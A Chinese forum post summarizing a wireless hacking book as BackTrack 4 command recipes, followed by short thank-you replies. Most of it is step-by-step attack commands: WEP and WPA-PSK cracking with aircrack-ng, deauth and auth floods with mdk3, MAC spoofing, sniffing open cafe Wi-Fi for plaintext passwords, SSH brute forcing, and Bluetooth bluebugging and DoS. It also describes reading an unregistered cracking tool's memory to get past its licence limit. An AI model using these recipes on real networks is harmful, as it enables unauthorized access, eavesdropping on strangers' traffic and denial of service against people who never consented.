《无线黑客傻瓜书》读后总结

wrczeus

这本书看了一个星期，终于看完了，现把书上的精华总结成如下内容，条理化知识点。
: M* e. }4 z3 k# j
: ^9 `* @, ?! U( J: g以下所有操作均在BackTrack 4中进行。
9 m5 e- o% y; E: r" D8 _* ]% O

无线WEP加密P解：
& O! A( |6 w+ z  Q( V
- Y+ I- O7 j/ j6 Y$ Y% d, f- ^6 s注入P解：
& R  F0 }5 D& v" ?. F* s
ifconfig
. g) G+ g3 T: v. B. l9 g" v/ S
ifconfig –a

ifconfig wlan0(无线网卡) up
5 Y7 ~$ R/ J: Z  N1 y
# c( V& H- O- e  @0 C& jairmon-ng start wlan0

airodump-ng mon0

airodump-ng --ivs –w ivsfile –c 频道 mon0或
" }' T& ^- ?) n5 C0 d
8 m  U& C/ T( [% Z9 m7 C8 Mairodump-ng --output-format ivs --ivs –w ivsfile –c 频道 mon0

/ y3 g( I$ D2 \" naireplay-ng -3 –b BSSID –h Station mon0

2 @3 b! b. u' D3 Y: zaircrack-ng ivsfile-01.ivs

虚连接P解（适用于无客户端连接APP解）
# ]  y- P. ]7 f+ j
0 q* X4 B1 m- d* s7 @ifconfig
" K  V7 m2 ^8 x9 P8 H4 n4 t
ifconfig –a

ifconfig wlan0(无线网卡) up
7 y  `' F4 z4 [) X/ h- f* l6 H
airmon-ng start wlan0

airodump-ng mon0
" u9 _; T' `8 p* f2 V2 u
% B7 P% N& Y0 F0 [0 Vairodump-ng --ivs –w ivsfile –c 频道 mon0或
( Z# V' I& _" R, W8 N+ u( y1 |
airodump-ng --output-format ivs --ivs –w ivsfile –c 频道 mon0
$ f& d9 e/ h8 c. o
aireplay-ng -1 0 –e SSID –a BSSID –c Station mon0

0 b9 m: v4 h- L3 Yaireplay-ng -2 –p 0841 –c ffffffffffff –b BSSID –h 自己的MAC mon0
2 t$ O+ ^3 f1 h) W( a/ F; G" C
' `$ A- a" }9 B" c" h1 ^aircrack-ng ivsfile-01.ivs


还有傻瓜式P解软件SpoonWEP2，SpoonWEP2中的Chopchop和Fragment来进行无客户端P解，P解时客户端MAC栏留空。


WPA-PSKP解
9 F7 r- n: H. p% S9 J
ifconfig
1 ?) A4 M5 T# T' [# X7 `0 \
ifconfig –a

- _6 p) G4 |& E6 ]0 Uifconfig wlan0(无线网卡) up
4 b4 n% |+ q' O. {/ b
0 b* F+ |$ u& U' {airmon-ng start wlan0

2 I6 {- a: X" \$ K* b! s- iairodump-ng mon0

6 L' H5 U3 {( k. f. J. oairodump-ng –w capfile –c 频道 mon0
5 J) ?4 w  ]  ^; z" v# a
0 r- q+ H' `* L. [aireplay-ng -0 10 –a BSSID –c Station mon0 //Deauth洪水攻击使合法客户端掉线捕获其与AP连接时的握手数据包
+ T0 W9 K8 q: Q& T& S
aircrack-ng –w Dic capfile-01.cap或

5 t! |! `2 B0 V2 H2 dcowpatty –f Dic –r capfile-01.cap –s SSID
; O, s! v* x2 J3 {# g% C
! Q! x$ l; O6 v( G" I+ vcowpatty –d HashTable.Hash –r capfile-01.cap –s SSID
2 o: D6 `$ E) P7 V, E- B! Q
傻瓜式P解软件SpoonWPA。

7 l8 V  G) U( V6 T. k1 f' W) {BT4下自带的字典文件：/pentest/passwords/wordlists/darkc0de.lst


字典文件的生成和上传

在windows下使用生日密码生成器和社会工程学密码生成器 等生成字典。然后在BT4下开启Tftp、SSH或使用U盘传输。
5 Y7 w' A! W+ ]+ P: Y( r) M% w
3 Q* F" [" {3 r' N5 H, u% r
# U2 o! i9 K$ s; X$ nBT4下开启Tftp：Services—TFTPD—start TFTPD

在Windows的CMD中运行 tftp –i IP put **.dic
9 S) @  t+ U: D, T% F. H
; t, F0 a# o7 n; k1 Z/ |
BT4下开启SSH：Services—SSH—start SSH

$ o  |# A. e  D1 F+ {/ \Windows下使用CuteFTP新建连接:File--New—SFTP(SSH2)连接。使用BT4的root用户登录，前提是设置、修改密码：passwd root

6 m& h2 X1 n  {. _1 ?
AP限制MAC时的解决
  H6 q/ i  K2 [/ _
当AP限制IP连接时，可以伪造为合法用户的MAC，关于AP连接的用户以及MAC，可以使用airodump-ng mon0查看。在BT4下修改MAC的命令为：
; o( _3 j9 Z& C) L% Q# F
" d$ ]+ @8 h: g' ^& mifconfig wlan0 hw ether NewMAC
/ I4 S1 [  O# C3 m

1 C+ Y4 {  `6 P# t4 O/ v3 O2 |* e- _关闭SSID广播的AP探测：
% l7 H8 D% h, v  E- E. t: I
1.     Deauth攻击:
" _! l' g* z; _- }7 D2 g
  j1 f/ q0 o2 Y5 ?# P! j! b3 hairodump-ng mon0

6 A! a2 h* }5 \8 uaireplay-ng -0 10 –a BSSID –h Station mon0

2.     抓包分析

Omnipeek

Tcpdump –n –e –vvv –i 网卡名

7 `: r( t! x8 ?4 f3.     暴力P解
& J8 O" t2 F. B2 F: A2 r
( R( }0 U5 _% L& CCharon 1.1暴力P解
. v& l" z8 L% d9 e4 w9 Y/ p# g
+ x. B! Q% R3 w8 P1 n
9 s# m/ ~* I+ c8 Z, ^' H' J* x! J9 o% ]无线加密数据包的解密
1 @  K, {+ s2 M) `4 b
3 N' S7 ~% T4 V( P6 n
) _4 ~3 L4 H7 X使用airodump-ng –w capfile –c 频道 mon0 捕获数据包并P解AP的密码 ，使用Cain的Cracker项在802.11Capturea导入解密。解密完后的数据包用Wireshark打开即可分析。

: f( v7 R3 x: b7 H# M2 rFilterNS     DNS解析数据包

Filter:HTTP    WEB访问数据包

Filter:msnms   MSN

# n" Z# @% p0 \" K2 e+ z2 Y9 ECtrl+F查找pass可以寻找一些明文的密码，如论坛等使用非SSL连接的账号。
5 q* W0 u; i5 n% G7 v; U
使用airdecap-ng解密：
9 I# k) e( W7 W/ X  {/ F3 ~  V
Airdecap-ng –b BSSID –e SSID –w 密码 ***.cap


: m4 L# t0 H! X+ ^6 l, A! s咖啡馆中无线数据截取(开放式无加密AP)

1.Airodump-ng –w data –c频道 mon0
& U& a% n7 P1 g+ f9 ^" y, X$ `
2.使用WireShark打开分析
+ t5 p& c$ W  B

; J& Q8 H+ _* X. J2 Z& \0 XBT4下的渗透工具：
8 r9 E1 ~$ Q4 {* I/ u* A6 s
nmap –sP IP/24        判断C段下存活的主机
- `0 Y% L6 T. H- x
nmap –vv –sS IP/24 –p Port    扫描指定端口是否开放

7 O1 ?# b, C+ ]9 T2 \* ^nmap –vv –sV IP –p port   指定端口的详细信息。。。
9 }( F2 B+ h* I- S/ _
namp –O IP/24    判断主机的系统版本


$ a5 B: A9 y3 w, \1 i5 hGUI 版nmap：Zenmap

% M  _0 ^7 C% q7 F+ Q8 L& ~
- i! Y$ y# v; g. FAmap使用：amap –B IP port
- b" l) ]8 ]8 L  v9 T
  r! U; D& u1 Z/ a2 \3 P- CNbtscan(扫描Windows网络NetBios信息)：

nbtscan –v –s : IP/24
/ b1 @1 c  |1 r' f1 o1 B  b
nbtscan –r IP


# s7 ?. e% O. l# EDNSWalk(指定域名的DNS探测):./dnswalk XXX.com.
* M0 H/ \* r( z6 L, v( a3 W

HydraP解工具（backtrack—Privilege Escalation—PasswordAttacks—OnlineAttacks）
6 P7 f- }5 n2 N
) G6 R5 @$ |$ h& p! D8 bBruteSSH: ./bruthe.py –h IP –u Username –d Dic
2 g, ]0 E2 i6 k1 v, q
Metasploit3使用
2 L" Q4 U: M  v无线D.0.S
9 q6 W* K+ W! P. W. I5 X2 G

& b" I% H( |9 |% _! _) OAuth Flood 攻击（Authentication Flood Attack，身份验证洪水攻击）

( S8 y8 s% c! D" d" uairmon-ng start wlan0
0 t" D9 `) b2 r, T) B) ~' n* e1 ]
airodump-ng mon0
& R4 J/ U; d1 r/ ^( Z2 Q( D- I
7 o. V. ^9 ?& gmdk3 mon0 a –a BSSID

对所有的AP攻击：mdk3 mon0 a
  ]( ~, G& ^+ L
1 S% [( v' I. s6 z" |9 K
5 Y* r! G3 l0 c7 f. {2 K# rDeauth Flood 攻击

& G4 T+ V+ s6 D+ S/ a! S* smdk3 mon0 d –c Channel
* f5 o6 \2 U5 f9 s
. v+ X, l4 B: z图形化D.O.S攻击：Charon
) F9 T$ x! w/ n( u6 B
' ?& s$ S! t: C
( l1 Q9 u2 l- ~. _6 a$ k, T8 Z当受到攻击时，使用Wireshark抓包可以看到异常信息。

+ ^3 i, R7 `- b, ?. J
WPA-PSK高速P解

$ C& `6 Z% V/ Q  V# a1.       WPA-PSK PMK Hash TablesP解

8 K' M  H+ ]( YCowpatty –d HashTable.hash –r ***.cap –s SSID
3 E# u: c6 q2 h' T+ a+ U. d/ }
" J1 M5 ?- y- _7 p- v+ iHash Tables的制作: genpmk –f Dic –d SaveHash –s SSID

4 a5 q( c) }% m# r; a6 r3 c: o. q2.       GPU辅助高速P解
  H5 j* ]6 z6 |: a
, F# `2 ]1 P* Q' ~使用EWSA(Elcomsoft Wireless Security Auditor,无线安全审计工具)导入WPA握手数据包P解，未注册版P解后密码只显示2位，但是可以使用WinHex查看（ALT+F9）ewsa进程的内存，搜索 密码的前两位。就可以看到完整密码。
) r" @4 ?8 H- K5 e! a$ E
2 z+ n) {& h" N% F# ^6 t5 |8 h3.       分布式P解
5 {$ h; F4 K" D+ h7 A

AP的伪造

( j: [+ |4 P! P9 i! J0 ]; i把AP的MAC改成目标AP的MAC

网卡软AP
! ^: e. f; q* [* \- q1 d2 x- {% h" x
9 P6 J& L. T% ]5 h. |$ Y$ U) W2 A
! d6 L9 w3 j# V伪造大量虚假AP信号：

; d5 y8 z- G% w3 @随机SSID：mdk3 mon0 b –g –c 频道

指定SSID：mdk3 mon0 b –g –c 频道 –n SSID –s 速度
$ B& P! }  Y6 v$ N/ h8 V
, c3 k6 u- h) @1 o+ }2 R/ D' ^
War-Driving

热点地图绘制

) ~9 t& P6 C( P. `Windows Mobile系统智能手机配合GPS模块，使用WIFifofum探测，把结果导出为kml(Google Earth可识别格式)，在Google Earth中打开即可完成热点地图绘制。

3 [5 m! v& p6 ?: n2 \9 S2 r# K
Netstumble

* r8 ^0 ]) i9 A" z: o8 h
蓝牙Hacking

Windows下的Blue Soleil工具

BT4：

4 ]9 K* r7 M* Y; z* ~9 ?3 ?$ U: Ehciconfig 查看蓝牙适配器

2 Z0 m/ r& x1 Q! ghciconfig hci0 up 载入蓝牙适配器

hciconfig hci0 class 蓝牙适配器详细信息
: ]/ Z/ q. l$ j( o7 B( y% G

hcitool（扫描蓝牙）
) p2 B! E; A% }% f
. t4 T# [$ \8 t( _hcitool –i hci0 scan
% n5 n% Z- T: r0 H
BTscanner(扫描蓝牙)
  t9 _' U: u5 n& ]4 _1 F

! z: G& z! z7 ^$ \, r蓝牙攻击：

; g/ V; p; Q: ^9 sBlueBugging (适用于BlueTooth V1.1的手机)

Bluebugger工具：

  t# t1 b+ S' o, G& u( O0 T8 ?Bulebugger –a HD_Addr info
4 L$ P$ g$ T/ ?5 k; ]9 b& V
+ `& D; e) J& z5 y& B% n# D6 p
BlueJacking

实现方法：使用手机伪造假的名片，里面写上消息内容然后发送。

1 z8 ~8 v! r6 P9 O3 O- A
9 ~3 K" Z  [2 L5 e0 I: }( u6 KHD_Addr修改：
. }$ J& X0 O& c/ A) a2 K
Bdaddr工具
3 z7 M: ~& H7 W5 f: ]! Q3 L
3 p# s& Q9 ?8 r! U4 k; E- P  Gbdaddr –i 蓝牙设备名 新HD_addr
' N& \7 }, L5 z/ U5 B/ T4 @
% [1 f6 Y( O: S- V  r
4 X3 y' T% z! z蓝牙D.O.S

l2ping工具(蓝牙连通性测试工具)，改变其发包数据包大小，使目标设备拒绝服务
6 @3 }( v: F3 @0 A" r/ u% T" S
hciconfig

hciconfig hci0 up
4 k7 V, o" \- `) C2 s. K
3 F6 e8 w6 [8 b! Vhcitool –i hci0 scan

l2ping –s 10000 –目标MAC

/ P* B; U' E/ g  E3 L+ p; _' l6 u
不可见状态的蓝牙通过RedFang暴力P解（暴力尝试所有的HD_Addr）（概念性的软件）
1 A- S4 x; D4 o
" j3 }* f% U2 x3 d3 [" p./fang –r ************-############ -s
8 ], n) z6 `) B" R
* w: Q% D0 @4 u4 d暴力P解************-############的蓝牙设备
2 L5 r, K# u. }* b3 L3 K, F5 h
./fang –l 各厂商BD_Addr分配

, F2 P+ G5 d/ l4 J# u9 O
WifiZoo使用

+ a7 X5 t4 x" W0 H./wifizoo.py –c Capfile
. X0 D2 G6 `& C/ G$ }- b) m; s
2 a! N# K8 F5 h  s: y访问127.0.0.1:8000即可登录Wifizoo管理页面，查看数据包分析的详情

tlwxs

传说中的沙发？

yuanbin0710

我还正在学习中，先收藏。

wo2rikku

总结的很好~谢谢分享

天鹅爸爸

分享成功的经验

yggdrasil2008

呵 ....正在努力学习当中....

donglianjun

Exellent digest

neglinhai

谢谢看了！

na2650945

谁有电子的。
借来看看。

applehdh

LS的 估计不可能的 会被管理员和谐的
呵呵 其实也不贵 21块 快递再一点
我们也支持一下超级版主这么多年对我们的解答哈

实习魔法师

回复有理，顶贴无罪

tuilly

顶起~~~~~~~~~